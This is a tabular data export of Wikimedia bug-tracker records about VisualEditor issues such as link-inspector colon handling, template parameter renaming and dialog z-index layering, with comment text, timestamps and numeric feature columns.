[[GERRIT_URL]]
"
254901,"VisualEditor: Empty transclusion editor is empty, needs some kind of reassuring message",*** Bug 51812 has been marked as a duplicate of this bug. ***,,,1374702151,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-pquc72fdsgxf4k4jbbrl,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51812 has been marked as a duplicate of this bug. ***
254899,"VisualEditor: Empty transclusion editor is empty, needs some kind of reassuring message","Created attachment 12684
Screenshot of bug

Just found this lovely screenshot that I meant to upload.

**Attached**: {F11889}",,,1372490316,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-pquc72fdsgxf4k4jbbrl,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8275862068965516,0.8620689655172413,"Created attachment 12684
Screenshot of bug

Just found this lovely screenshot that I meant to upload.

**Attached**: {F11889}"
52279,VisualEditor: Link input widget outwits itself with the leading colon for Category/file links,"1. Go to some page and edit in VE
2. Click the ""Link"" toolbar button, type ""Category:"" and click a category that appears

The leading colon is correctly added, but the category now appears in red in the dropdown as if non-existent (although it shows up under ""matching pages"", not ""new pages"").

Probably, the link inspector should be ignoring/stripping the preceding colon when checking whether the page exists.

Same thing for links to File: pages.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1372331940,1403746179.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-xcrom5qozpxh2fsjz7v7,task_description,resolved,True,c1,2,False,False,False,-1,,0.5,0.0,0.0,0.5,1.0,5.5,0.0,0.0,0.5,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,1.5,0.5,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.5,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,5.0,1.5,7.0,2.5,1.5,5.5,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.5,7.0,1.0,0.0,5.5,0.0,0.5,0.0,1.5,0.5,0.0,4.5,0.0,0.0,0.5,3.7049180327868854,0.7213114754098361,"1. Go to some page and edit in VE
2. Click the ""Link"" toolbar button, type ""Category:"" and click a category that appears

The leading colon is correctly added, but the category now appears in red in the dropdown as if non-existent (although it shows up under ""matching pages"", not ""new pages"").

Probably, the link inspector should be ignoring/stripping the preceding colon when checking whether the page exists.

Same thing for links to File: pages.

--------------------------
**Version**: unspecified
**Severity**: normal"
254820,VisualEditor: Link input widget outwits itself with the leading colon for Category/file links,*** Bug 63353 has been marked as a duplicate of this bug. ***,,,1403995088,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xcrom5qozpxh2fsjz7v7,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 63353 has been marked as a duplicate of this bug. ***
254815,VisualEditor: Link input widget outwits itself with the leading colon for Category/file links,"Change 142136 merged by jenkins-bot:
Don't prepend extra colon to category/file links

https://gerrit.wikimedia.org/r/142136",,,1403746149,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xcrom5qozpxh2fsjz7v7,task_subcomment,,True,c1,3,False,,,51,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,"Change 142136 merged by jenkins-bot:
Don't prepend extra colon to category/file links

GERRIT_URL"
254810,VisualEditor: Link input widget outwits itself with the leading colon for Category/file links,"Change 142136 had a related patch set uploaded by Alex Monk:
Don't prepend extra colon to category/file links

https://gerrit.wikimedia.org/r/142136",,,1403731077,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xcrom5qozpxh2fsjz7v7,task_subcomment,,True,c1,3,False,,,51,,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,"Change 142136 had a related patch set uploaded by Alex Monk:
Don't prepend extra colon to category/file links

GERRIT_URL"
254805,VisualEditor: Link input widget outwits itself with the leading colon for Category/file links,"Two different things look like they're pre-pending the "":"". Helpful. :-)",,,1402549673,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xcrom5qozpxh2fsjz7v7,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.4444444444444446,0.8888888888888888,"Two different things look like they're pre-pending the "":"". Helpful. :-)"
52269,VisualEditor: enwiki template {{columns-list}} looks particularly-broken at high zoom/low width,"Screenshot

See the screenshot (provided by a contributor). I suspect it's down to the screen resolution. Firefox 21.0, Mac OS X 10.6.8.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11863}",Medium,50.0,1372302300,1404168653.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-s6tr75wkga6yoxhfytgb,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,3.0,5.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6379310344827585,0.6724137931034483,"Screenshot

See the screenshot (provided by a contributor). I suspect it's down to the screen resolution. Firefox 21.0, Mac OS X 10.6.8.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11863}"
254354,VisualEditor: enwiki template {{columns-list}} looks particularly-broken at high zoom/low width,"(In reply to This, that and the other from comment #2)
> It looks no more broken to me in VE than it does in view mode.

Yeah; marking as fixed.",,,1404168653,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s6tr75wkga6yoxhfytgb,task_subcomment,,True,c1,3,True,,,52,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,1.0,"(In reply to This, that and the other from comment #2)
QUOTE

Yeah; marking as fixed."
254350,VisualEditor: enwiki template {{columns-list}} looks particularly-broken at high zoom/low width,It looks no more broken to me in VE than it does in view mode.,,,1393633426,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-s6tr75wkga6yoxhfytgb,task_subcomment,,True,c1,3,False,,,34,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,25.0,6.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,3.0,0.9375,It looks no more broken to me in VE than it does in view mode.
254344,VisualEditor: enwiki template {{columns-list}} looks particularly-broken at high zoom/low width,I wonder if this is related to bug 50036?,,,1372325604,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-s6tr75wkga6yoxhfytgb,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,20.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3,1.0,I wonder if this is related to bug 50036?
52268,VisualEditor: Let users relabel (or renumber if auto-numbered) parameters in the transclusion dialog,"See the report at https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Failed_attempt_to_use_VE_to_remove_a_template_parameter

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1372302060,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-g7bv7yb2notx65burp7i,task_description,open,True,c1,2,False,False,,-1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.086956521739131,0.6086956521739131,"See the report at URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
254297,VisualEditor: Let users relabel (or renumber if auto-numbered) parameters in the transclusion dialog,"Comment from bug 51558:

An en.wp [[user:3family6]] comments about [[Template:Album ratings]]:
""This is an instance where the transclusion option on VE, while it does work,
is more inconvenient than just wiki-markup. In wikimarkup, if you want to
insert a new review into the middle of the template, i.e. between reviews 3 and
4 (rev3 and rev4), you just change rev4 to rev5 (and rev5 to 6 and so on), then
insert the new score. With VE, you have to add a new rev parameter to the
bottom, and move the content of ALL of the parameters affected through
copy-paste. This is much more time consuming than editing the wikitext.""

For context reviews are listed in alphabetical order, initially the template
could be something like:
rev1 = A Magazine
rev1Score  = 4/5
rev2 = CTV
rev2Score = 1/5
rev3 = FooMusic
rev3Score = 5/5
rev4 = ZedNews
rev4Score = 6/10

The album then gets rereleased and reviewed by BetaMag. This needs to be added
at the second review, in source editing it's just a matter of changing 6
characters (4→5,3→4, etc). In VE you have to create a new rev5 and rev5
parameter, then cut and paste the values from each of rev2 - rev4 and rev2Score
- rev4Score to their new locations then add the new data. 

One better way to handle this would be to allow the renaming of parameters.
Either in the ""options"" section or by right clicking on the parameter name. 

This is likely to affect other templates too.",,,1374495419,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g7bv7yb2notx65burp7i,task_subcomment,,True,c1,3,False,,,3,,0.75,0.25,0.0,0.5,0.0,4.5,1.25,0.0,0.0,0.25,1.5,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.25,2.0,0.0,0.25,0.0,0.25,0.75,0.0,0.0,0.25,0.25,0.5,3.25,0.0,0.5,1.25,1.0,0.0,0.0,0.5,0.75,0.0,0.25,0.25,2.0,0.0,0.25,0.0,0.0,0.0,12.25,1.25,0.0,0.0,1.25,0.25,0.25,0.0,0.0,0.75,0.0,0.25,0.0,0.0,0.0,0.25,0.0,0.0,5.75,2.0,6.5,0.75,3.0,7.75,0.0,0.0,0.0,0.0,4.25,0.0,2.75,0.0,1.75,11.0,5.75,0.0,1.0,0.0,1.75,0.0,0.25,1.5,0.0,1.0,0.75,0.0,1.75,3.6202982662356744,0.7445636203349986,"Comment from bug 51558:

An en.wp [[user:3family6]] comments about [[Template:Album ratings]]:
""This is an instance where the transclusion option on VE, while it does work,
is more inconvenient than just wiki-markup. In wikimarkup, if you want to
insert a new review into the middle of the template, i.e. between reviews 3 and
4 (rev3 and rev4), you just change rev4 to rev5 (and rev5 to 6 and so on), then
insert the new score. With VE, you have to add a new rev parameter to the
bottom, and move the content of ALL of the parameters affected through
copy-paste. This is much more time consuming than editing the wikitext.""

For context reviews are listed in alphabetical order, initially the template
could be something like:
rev1 = A Magazine
rev1Score  = 4/5
rev2 = CTV
rev2Score = 1/5
rev3 = FooMusic
rev3Score = 5/5
rev4 = ZedNews
rev4Score = 6/10

The album then gets rereleased and reviewed by BetaMag. This needs to be added
at the second review, in source editing it's just a matter of changing 6
characters (4→5,3→4, etc). In VE you have to create a new rev5 and rev5
parameter, then cut and paste the values from each of rev2 - rev4 and rev2Score
- rev4Score to their new locations then add the new data. 

One better way to handle this would be to allow the renaming of parameters.
Either in the ""options"" section or by right clicking on the parameter name. 

This is likely to affect other templates too."
254292,VisualEditor: Let users relabel (or renumber if auto-numbered) parameters in the transclusion dialog,*** Bug 51558 has been marked as a duplicate of this bug. ***,,,1374495310,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g7bv7yb2notx65burp7i,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51558 has been marked as a duplicate of this bug. ***
52247,VisualEditor: User personal links appear above VE dialogs,"**Author:** `rachelqa99`

**Description:**
This it the top level links English, Talk, Preferences, Watchlist etc appearing on top of references window

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1372267920,1373077152.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-hnjrb6dsvhgt7tgjsyyd,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.843137254901961,0.5882352941176471,"**Author:** CODE

**Description:**
This it the top level links English, Talk, Preferences, Watchlist etc appearing on top of references window

--------------------------
**Version**: unspecified
**Severity**: minor"
253215,VisualEditor: User personal links appear above VE dialogs,This was fixed in the deployment earlier this week.,,,1373077152,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hnjrb6dsvhgt7tgjsyyd,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,4.3,1.0,This was fixed in the deployment earlier this week.
253212,VisualEditor: User personal links appear above VE dialogs,Confirmed in Chrome/Mac; this looks like a general issue with z-indexes. Thanks for the catch!,,,1372269171,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hnjrb6dsvhgt7tgjsyyd,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,1.0,Confirmed in Chrome/Mac; this looks like a general issue with z-indexes. Thanks for the catch!
253208,VisualEditor: User personal links appear above VE dialogs,"Created attachment 12650
Screenshot showing issue (extracted from Word docx file)

**Attached**: {F11829}",,,1372269063,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hnjrb6dsvhgt7tgjsyyd,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9583333333333335,0.875,"Created attachment 12650
Screenshot showing issue (extracted from Word docx file)

**Attached**: {F11829}"
253200,VisualEditor: User personal links appear above VE dialogs,"**rachelqa99** wrote:

screenshot

//attachment screenshotve.docx ignored as obsolete//",,,1372267984,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hnjrb6dsvhgt7tgjsyyd,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.466666666666667,0.7333333333333333,"**rachelqa99** wrote:

screenshot

//attachment screenshotve.docx ignored as obsolete//"
52240,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link","Totally a nice-to-have; it'd be good if the link inspector could inform users that they're linking through to a DAB page.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50160
https://bugzilla.wikimedia.org/show_bug.cgi?id=59208
https://bugzilla.wikimedia.org/show_bug.cgi?id=49502",Medium,50.0,1372262940,1391818637.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-yv5u43sg36sflqbgt5oh,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,15.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,8.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.3278688524590163,0.6229508196721312,"Totally a nice-to-have; it'd be good if the link inspector could inform users that they're linking through to a DAB page.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL
URL"
252858,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link","Change 110654 merged by jenkins-bot:
Mark disambiguation and redirect pages in the link inspector

https://gerrit.wikimedia.org/r/110654",,,1391818168,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,3,False,,,31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.85,1.0,"Change 110654 merged by jenkins-bot:
Mark disambiguation and redirect pages in the link inspector

GERRIT_URL"
252855,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link","Change 110654 had a related patch set uploaded by Alex Monk:
Mark disambiguation and redirect pages in the link inspector

https://gerrit.wikimedia.org/r/110654",,,1391210012,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,3,False,,,30,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,21.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.791666666666667,1.0,"Change 110654 had a related patch set uploaded by Alex Monk:
Mark disambiguation and redirect pages in the link inspector

GERRIT_URL"
